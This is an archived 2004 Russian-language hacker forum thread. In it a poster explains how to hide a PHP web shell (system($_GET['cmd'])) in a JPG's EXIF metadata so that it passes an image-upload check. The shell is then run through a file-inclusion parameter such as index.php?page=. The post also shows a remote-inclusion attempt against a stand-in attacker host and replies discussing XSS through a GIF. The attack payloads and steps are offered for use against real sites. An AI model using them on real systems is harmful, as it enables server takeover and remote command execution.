PDA

Просмотр полной версии : Открыл я для себя интересную вещ


zFailure
22.07.2004, 23:16
Если вам приходилось сталкиваться с сайтами подобной структуры:

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">index.php?page=xxx/zzz.php[/QUOTE]<span id='postcolor'>

Конечно, вы сначала попытаетесь вызвать ошибку в скрипте или сразу попробовать подключить свой файл:

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">index.php?page=blablabla
index.php?page=http://hacker.narod.ru/xxx/zzz.php[/QUOTE]<span id='postcolor'>

В ответ вы получаете обидный отказ =)
Скорее всего там используется проверка функцией file_exists или is_file.

Но вдруг вам крупно везет и вы обнаруживаете форум, чат, гостевую, галерею или еще бог знает, что позволяющее нам загрузить на сервер картинку в формате jpg или gif.

Вы создаете файл php_injection.gif

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE"><pre><h4><?php
system($_GET['cmd']);
?></h4></pre>[/QUOTE]<span id='postcolor'>

Упрямый скрипт снова посылает вас, на этот раз ему помогла распознать подвох функция getimagesize.


Короче (я честно говоря этого не знал) с помощью ACDSee или подобных программ, для работы с графикой, в графический файл формата jpg можно запихнуть дополнительную информацию (так называемую EXIF Metadata). При этом вводимая нами информация помещается в изображение в открытом виде, не нарушая структуры самого изображения.

ACDSee -&gt; php_injection.jpg -&gt; Properties -&gt; EXIF Metadata -&gt; Image description = &quot;&lt;pre&gt;&lt;h4&gt;&lt;?php system($_GET['cmd']); ?&gt;&lt;/h4&gt;&lt;/pre&gt;&quot;;

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">... Exif II*    3 &amp; i‡  Y <pre><h4><?php system($_GET['cmd']); ?></h4></pre>  †’  k ...[/QUOTE]<span id='postcolor'>
Это часть бинарного файла изображения.

Как ни странно теперь скрипт согласился загрузить картинку на сервер и мы ее успешно встраиваем.

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">index.php?page=photos/imagename.jpg[/QUOTE]<span id='postcolor'>


Если вдруг это полный бред и никому не интересен – вы уж простите меня. http://forum.antichat.ru/iB_html/non-cgi/emoticons/rolleyes.gif

Algol
22.07.2004, 23:45
Очень даже интересно...Не поверишь, как раз сегодня занимался именно такими вещами..правда до ACDSee я не додумался.. пытался ручакми ...

PS А ты уверен, что вызванный таким образом картинка-скрипт будет работать ?

zFailure
23.07.2004, 00:10
100% я через getimagesize пропускал и через include

Algol
23.07.2004, 01:25
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (zFailure @ июля 23 2004,00:10)</td></tr><tr><td id="QUOTE">и через include[/QUOTE]<span id='postcolor'>
Гы, так понятно что через include оно будет работать ...
Но ты же говорил про вызов типа
index.php?page=blablabla
А ведь это не означает, что там используется include

zFailure
23.07.2004, 10:17
ну если там не include тогда будем довольствоваться возможностью xss http://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gif

Че Гевара
23.07.2004, 10:18
У меня вопрос: мона ручками картинку подредактировать ?
Если я пхп-код вставлю в самый конец после заголовка и &quot;исходного кода&quot; картинки ... Это будет работать ?
З.Ы. Попробуйте это проделать, глюки такие пойдут ... http://forum.antichat.ru/iB_html/non-cgi/emoticons/smile.gif

Algol
23.07.2004, 12:59
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (zFailure @ июля 23 2004,10:17)</td></tr><tr><td id="QUOTE">ну если там не include тогда будем довольствоваться возможностью xss http://forum.antichat.ru/iB_html/non-cgi/emoticons/confused.gif[/QUOTE]<span id='postcolor'>
Так и xss в таком случае не катит.
Ситуация с браузером такая:
Если мы создаем картинку с расширением gif и пихаем туда HTML текст <script&gt;alret()&lt;/script&gt; то при открытии &quot;картинки&quot; джаваскрипт срабатывает (по кр мере MSIE). НО если заголовок файла начинается с GIF89 то браузер распознает этот файл как картинку, и скрипт не срабатывает ...

Algol
23.07.2004, 15:57
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Че Гевара @ июля 23 2004,10:18)</td></tr><tr><td id="QUOTE">У меня вопрос: мона ручками картинку подредактировать ?
Это будет работать ?[/QUOTE]<span id='postcolor'>
Подредактировать можно (только после заголовка картинки)
А работать не будет ))